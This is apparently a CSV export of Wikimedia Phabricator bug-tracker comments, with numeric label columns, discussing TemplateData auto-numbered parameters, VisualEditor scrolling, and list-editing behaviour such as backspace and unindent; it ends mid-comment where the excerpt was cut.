+835527,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"I think I may increase priority of this task. A lot of new templates, gadgets and scripts have autogenerated parameters.",,,1491072953,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,True,,,195,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+767004,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"This will affect ProveIt when implemented. ProveIt relies on TemplateData to perform its work, much in the same way the VisualEditor does.",,,1480128425,,PHID-USER-ptgz6fq66cg246bpgxzs,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,177,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+398552,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Would be very useful also for, e.g., https://www.mediawiki.org/wiki/Template:Extension#TemplateData (up to hook48!)",,,1421099235,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,80,,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+242545,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Hmm, I've messed up the JSON in the first example. Should be:
+
+{{cite web
+| authors = [{ ""last"": ""Smith"", ""first"": ""John"" }, { ""last"": ""Doe"", ""first"": ""Jane"" }]
+}}
+
+Perhaps this proves my point about users not being able to input JSON manually? :)",,,1410102520,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1
+242540,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"(In reply to NicoV from comment #5)
+> This solution would be awkward when several parameters are related one to
+> each other. For example, on the cite templates, you usually have several
+> fields for each author (first name, last name, page link, ...) and they are
+> easier to manage for a user if they are grouped.
+> With lists, users would have to be careful and to be sure that several lists
+> are coherent between each other.
+
+One way to deal with this could be to pass JSON blobs into template parameters. So you could have:
+
+{{cite web
+| authors = { ""last"": ""Smith"", ""first"": ""John"" }, { ""last"": ""Doe"", ""first"": ""Jane"" }
+}}
+
+This is nice from a Lua perspective, but it would be confusing for users. Mixing template syntax with JSON syntax seems ugly, and probably only a select few editors will be capable of entering syntactically correct JSON into template parameters.
+
+The established way of doing something like this is to use a sub-template. So we would have something like:
+
+{{cite web
+| authors = {{author|last=Smith|first=John}}, {{author|last=Doe|first=Jane}}
+}}
+
+One problem with this is that the {{author}} templates are expanded before they are passed to Lua, so we lose data granularity. To solve this, we can use Lua to make the {{author}} templates output JSON and then read that JSON from the Lua module implementing {{cite web}}. But then to guarantee that we get clean JSON code we would need to make a template structure like this:
+
+{{cite web
+| authors = {{author list | {{author|last=Smith|first=John}} | {{author|last=Doe|first=Jane}} }}
+}}
+
+With this we have data grouping that can be reliably processed by Lua and that editors used to using wikitext will find intuitive. However, this would be hard for VisualEditor etc. to process and display to users in a meaningful way, as there is no guarantee how the {{author list}} and {{author}} templates will be implemented on any given wiki. So, instead of using Lua to create the JSON, we could do it in PHP using a new parser function. (I suggest ""#data"".) That would give us the following: 
+
+{{cite web
+| authors = {{#data: {{#data:last=Smith|first=John}} | {{#data:last=Doe|first=Jane}} }}
+}}
+
+This would give us a data structure that could be reliably parsed from VisualEditor, as well as the other benefits mentioned above. Perhaps it could displayed as a dynamically generated data tree (I'm thinking about something like json2html, but editable).
+
+http://visualizer.json2html.com/
+
+We would need to be careful about bad input:
+
+{{cite web
+| authors = foo {{#data: bar {{#data:last=Smith|first=John}} | {{#data:last=Doe|first=Jane}} baz }}
+}}
+
+To sanitise this, we could make the #data implementation throw an error (perhaps like a cite.php error) for ""bar"" and ""baz"" in this example. For ""foo"", we could leave it to the Lua module to properly validate the input.
+
+We would also have to think carefully about what to do with templates etc. inside #data parser functions. If template expansion inside #data parser functions worked the same way that it did in normal wikitext, it would be difficult to make #data work well in VisualEditor. But perhaps it can be made to work in the same way that VE handles other instances of templates in template parameters.",,,1410099057,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,61,,1,1,0,1,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+242537,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"(In reply to Krinkle from comment #4)
+> Especially now that we have Lua, specifying a parameter as taking a list
+> seems more sensible (e.g. comma separated, line-break separated, whatever).
+> Even if a template isn't converted to Lua yet, it could make use of a
+> generic Lua module to do the string split and iteration.
+
+This solution would be awkward when several parameters are related one to each other. For example, on the cite templates, you usually have several fields for each author (first name, last name, page link, ...) and they are easier to manage for a user if they are grouped.
+With lists, users would have to be careful and to be sure that several lists are coherent between each other.",,,1392795486,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,33,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+242534,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"The foo1, foo2, foo3 etc. model exists in many templates, however in most cases the limit is quite low (when converted to Lua a user might have dropped the limit, no sure that is a good pattern). Only in cases where the value is for e.g. a table row do they have a high limit (up to 500 seems common).
+
+e.g. 
+
+{{Something
+|row1=..
+|row2=..
+|row3=..
+|=..
+
+such as {{TemplateBox@commons.wikimedia.org
+|p1=..
+|p2=..
+|p3=..
+|..
+
+However both for VisualEditor, TemplateData and any other modern program or programming language it is very visible that such dynamically named parameters are an unwanted pattern that should not be encouraged. It is hard to work with and only has downsides over alternatives (e.g. hard to re-order, requires hacks to implement in wikitext and lua, hard to document, hard to use).
+
+Especially now that we have Lua, specifying a parameter as taking a list seems more sensible (e.g. comma separated, line-break separated, whatever). Even if a template isn't converted to Lua yet, it could make use of a generic Lua module to do the string split and iteration.
+
+Also, in the interest of not implementing too soon and get stuck in a corner, I'd like to wait for VisualEditor to catch up with the features we've already recently added to TemplateData and see how those work out.",,,1381079832,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,True,,,13,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+242531,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"This proposal is based mostly on the idea that if TemplateData exists for a template, then editors should not be permitted to add any parameters that are not already in TemplateData.  
+
+Rather than coding a variety of flexible naming/numbering schemes, it might make more sense to have a way to specify that a given template accepts (or does not accept) whatever parameters the editor chooses to name, regardless of what's in TemplateData.  If the TemplateData is complete and no unlisted parameters are useable, then editors could not add others.  If the TemplateData is incomplete, or if the number of parameters is unbounded, then editors could add whatever they wanted.",,,1375983254,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,5,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+242526,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"In the module code they use # to represent a number placeholder.
+numbered_arguments = {
+    ['author#'] = true,
+    ['Author#'] = true,
+    ['author-first#'] = true,
+    ['author#-first'] = true,
+    ['author-last#'] = true,
+    ['author#-last'] = true,
+...
+}
+As you can see the number can be in various places.
+
+http://en.wikipedia.org/wiki/Module:Citation/CS1/Whitelist",,,1375823227,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+242523,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"When implemented, this should also accept an empty string as the ""base"" (""author"" in original example above) to apply to unnamed (positional) parameters. Would be useful for some templates like [[pl:Template:Dopracować]] which currently can't be properly described using TemplateData.",,,1375805699,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,True,,,5,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
+54577,VisualEditor: Scroll to the user's position when VE is invoked via shortcut (Ctrl+Alt+V),"I don't know if this is possible, or if it's been requested elsewhese, but a few users on the French-language Wikipedia have suggested that, when the user has scrolled through the page and invoked VisualEditor via the keyboard shortcut, VE should automatically scroll to that same position on the page when it opens (similarly to what the section edit link does).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53217",Medium,50.0,1375799880,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-pe6m5b3pbhmfcnu7uep4,task_description,open,True,c1,3,False,False,,5,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+1988945,VisualEditor: Scroll to the user's position when VE is invoked via shortcut (Ctrl+Alt+V),We've done the complicated part of this in T293158.,,,1663959026,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pe6m5b3pbhmfcnu7uep4,task_subcomment,,True,c1,3,True,,,481,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+692844,VisualEditor: Scroll to the user's position when VE is invoked via shortcut (Ctrl+Alt+V),"The complication here is that while the VE view is similar to the read mode, it is not identical, so scrolling to the same pixel offset will not necessarily leave you at the same place. We could do an approximation by finding the nearest section heading and it's pixel offset from the top.",,,1468335875,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pe6m5b3pbhmfcnu7uep4,task_subcomment,,True,c1,3,True,,,158,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+242255,VisualEditor: Scroll to the user's position when VE is invoked via shortcut (Ctrl+Alt+V),"**misc2006** wrote:
+
+This should always be the case, no matter how the editor is invoked. ""User's position"" when the editor is opened should be *exactly* the same as before. Use case: I want to fix a simple spelling error, so I click on the edit link on the paragraph. Often, the content has now scrolled up/down a bit and I need to find the location of the spelling error again. This is surprisingly difficult/annoying (just give it a try).",,,1405932609,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pe6m5b3pbhmfcnu7uep4,task_subcomment,,True,c1,3,False,,,55,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+54576,"VisualEditor: Repetition of the parameter (""box"") icon in the transclusion dialog is a bit heavy","<< Icons can be useful to help a user navigate an interface, however in the transclusion dialog, the same box-shaped icon with the thick left border is shown so many times (when editing a template with more than a few parameters) that it is obnoxious. Almost every occurrence should be removed, keeping it displayed at at most one or two places.--[[User:Wouterstomp|WS]] ([[User talk:Wouterstomp|talk]]) 11:22, 6 August 2013 (UTC) >>
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49833",Medium,50.0,1375794000,1394072888.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-tb2wtwoarrokjafpdi3e,task_description,resolved,True,c1,3,False,False,False,5,,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+242208,"VisualEditor: Repetition of the parameter (""box"") icon in the transclusion dialog is a bit heavy",I disagree with this - the icon is used to identify which elements are parameters. Particularly in future they may be contrasted with sub-items such as images or sub-templates that are included in parameters but separately editable within the transclusion editor.,,,1375795854,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-tb2wtwoarrokjafpdi3e,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+54562,Gadgets: Add support to understand whether a gadget supports VisualEditor (or another feature?) and allow it to be greyed out,"[15:52] <T13> VE Question.  How is VE currently set up to handle users that have opted-in to gadgets that modify the editing window such as wikEd?
+...
+[15:54] <T13> Do those gadgets still load even though the hooks they use don't exist? Shouldn't having VE enabled disable those gadgets and grey out the optiobs for them in the gadgets tab of preferences?
+[15:56] <T13> I'm guessing some of the ""VE"" bugs are caused by these gadgets trying to do what they no longer can.
+...
+[16:06] <mooeypoo> T13: I think most of the edit-related gadgets work on the action=edit condition, and ve goes with action=vedit
+[16:07] <mooeypoo> but I am not sure :) you'll be safer getting the answer from the VE team
+[16:09] <MatmaRex> T13: i'm not on the team, but i'm pretty sure that's the reason
+[16:10] <MatmaRex> T13: basically there are two ways to detect if we're inedit mode - either look if 'action' is 'edit' or 'submit', or look for some elements that are parts of theedit form, like #wpTextbox1 (the main textbox)
+[16:10] <MatmaRex> VE avoids them both
+[16:11] <T13> I've seen questions on WP:THQ with a link to a screenshot of wikEd and the user thinking they were using VE.  So, I was curious how it was handled.
+[16:11] <T13> I'll add the suggestion to gray out the unusable with VE gadgets 
+[16:11] <mooeypoo> Ah, *that* kind of user errors. Hm. Not sure how you can handle those other than politely correct the user's false assumption
+[16:11] <T13> On Bugzilla...
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1375737720,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,False,PHID-TASK-u3h65rxvz452mowrmajb,task_description,open,True,c1,3,False,False,,5,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+241362,Gadgets: Add support to understand whether a gadget supports VisualEditor (or another feature?) and allow it to be greyed out,"Hmm. Not totally convinced by this - (a) because this is inherently transitional as gadgets are updated to work with VisualEditor, and (b) because disabling gadgets that work fine, just not in all places, seems a bit unfair. Re-titling and moving to the Gadgets pile, however.",,,1383282348,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u3h65rxvz452mowrmajb,task_subcomment,,True,c1,3,True,,,17,,1,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+241356,Gadgets: Add support to understand whether a gadget supports VisualEditor (or another feature?) and allow it to be greyed out,"Working links:
+
+https://commons.wikimedia.org/wiki/File:Special_Preferences_mw-prefsection-gadgets_(current).png
+
+https://commons.wikimedia.org/wiki/File:Special_Preferences_mw-prefsection-gadgets_(proposed).png",,,1377871417,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-u3h65rxvz452mowrmajb,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+241350,Gadgets: Add support to understand whether a gadget supports VisualEditor (or another feature?) and allow it to be greyed out,"(In reply to comment #1)
+> Not sure what the bug is, here?
+> 
+> Gadgets can be written to work with VisualEditor, but gadgets not written to
+> do so won't work, and dated (and so now misleading) advertising on behalf of
+> these gadgets that it works with ""the editor"" will confuse people.
+> 
+> As normal, gadget authors and maintainers should make sure that they re-label
+> their gadgets to avoid this confusion.
+> 
+> Or am I missing something?
+
+I'm sorry James, I missed your question.  I've uploaded a couple screenshots of what I'm thinking (although I'm thinking this may require a change in the gadgets extension first on second thought).
+
+Currently, the ""Editing"" section of the gadgets tab on enwp looks like:
+   [[commons:File:Special_Preferences_mw-prefsection-gadgets_%28current%29.png]]
+
+What I'm proposing, is that when VisualEditor is active for the user, it should look like:
+   [[commons:File:Special_Preferences_mw-prefsection-gadgets_%28proposed%29.png]]
+
+With the options for things like dot's highlighter and wikiEd grayed out so they can't be clicked (and defaulted to off).",,,1377865283,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-u3h65rxvz452mowrmajb,task_subcomment,,True,c1,3,False,,,8,,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+241344,Gadgets: Add support to understand whether a gadget supports VisualEditor (or another feature?) and allow it to be greyed out,Closing as INVALID as no response after 3 weeks (but happy to reconsider if I've mis-understood).,,,1377828505,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u3h65rxvz452mowrmajb,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+241338,Gadgets: Add support to understand whether a gadget supports VisualEditor (or another feature?) and allow it to be greyed out,"Not sure what the bug is, here?
+
+Gadgets can be written to work with VisualEditor, but gadgets not written to do so won't work, and dated (and so now misleading) advertising on behalf of these gadgets that it works with ""the editor"" will confuse people.
+
+As normal, gadget authors and maintainers should make sure that they re-label their gadgets to avoid this confusion.
+
+Or am I missing something?",,,1375747264,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u3h65rxvz452mowrmajb,task_subcomment,,True,c1,3,True,,,5,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0
+54557,VisualEditor: Backspace should not delete list and line in same action,"**Author:** `mcdevitd`
+
+**Description:**
+Typically, the expected behavior from hitting backspace at the beginning of a list line is to remove the bullet/number at that indent level so it is no longer a list, and no more. VisualEditor will completely delete the line itself and move the text to the end of the previous line. This is not how OpenOffice or Word works.",Medium,50.0,1375729680,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-vrzpbb2v2s74ml5e53ww,task_description,open,True,c1,3,False,False,,5,,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+1903501,VisualEditor: Backspace should not delete list and line in same action,"Currently (for years), pressing backspace in LibreOffice makes the paragraph exit the list **only if it is empty** (note we may split an ordered list in OpenDocuments, whereas we cannot in wikitext). Else, the behavior is pretty consistent with VisualEditor (first Backspace press: the bullet is hidden — no equivalence in VE; second Backspace press: the paragraph is merged with previous element).",,,1650765676,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-vrzpbb2v2s74ml5e53ww,task_subcomment,,True,c1,3,False,,,459,,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+1903500,VisualEditor: Backspace should not delete list and line in same action,"Currently (for years), backspace LibreOffice make the paragraph exit the list only if it is empty. Else, the behavior is pretty consistent with VisualEditor (first Backspace press: the bullet is hidden — no equivalence in VE; second Backspace press: the paragraph is merged with previous element).",,,1650765546,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-vrzpbb2v2s74ml5e53ww,task_subcomment,,True,c1,3,False,,,459,,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+241079,VisualEditor: Backspace should not delete list and line in same action,"Agreed. For
+
+| <ol><li><p>|</p></li><li><p>Foo</p></li></ol>
+
+… backspace at the cursor position indicated should convert the document into:
+
+| <p>|</p><ol><li><p>Foo</p></li></ol>
+
+… with the initial <p> being a slug.
+
+For nested list items we should pop to the next level:
+
+| <ol><li><p>Foo</p></li><li><ol><li><p>|</p></li><li><p>Foo</p></li></ol></li></ol>
+
+->
+
+
+| <ol><li><p>Foo</p></li><li><p>|</p></li><li><ol><li><p>Foo</p></li></ol></li></ol>
+
+I think?",,,1394479004,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vrzpbb2v2s74ml5e53ww,task_subcomment,,True,c1,3,True,,,36,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+54554,VisualEditor: Unindent should not remove lists,"**Author:** `mcdevitd`
+
+**Description:**
+The expected behavior in most word processors (Word and OpenOffice) is that the user can unindent (shift-tab) only to get to the initial list indent level but it should not actually delete the bulleting/numbering itself when you to the end. In VisualEditor, unindenting once too many times can remove the initial bullet/number entirely.
+
+This becomes particularly annoying when (because of the behavior described in bug 48051) you accidentally split a list into two lists which can't be fixed clicking the list button again to re-add the bullet/number.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1375726080,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-nog34g36rvrxth34pzwz,task_description,open,True,c1,3,False,False,,5,,1,0,1,1,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0
+429773,VisualEditor: Unindent should not remove lists,(Still valid in current VE; is this really normal priority?),,,1426861555,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nog34g36rvrxth34pzwz,task_subcomment,,True,c1,3,True,,,89,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+240825,VisualEditor: Unindent should not remove lists,*** Bug 56344 has been marked as a duplicate of this bug. ***,,,1384846149,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nog34g36rvrxth34pzwz,task_subcomment,,True,c1,3,True,,,20,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240818,VisualEditor: Unindent should not remove lists,"**mcdevitd** wrote:
+
+(In reply to comment #1)
+> (In reply to comment #0)
+> 
+> > This becomes particularly annoying when (because of the behavior described in
+> > bug 48051) you accidentally split a list into two lists which can't be fixed
+> > clicking the list button again to re-add the bullet/number.
+> 
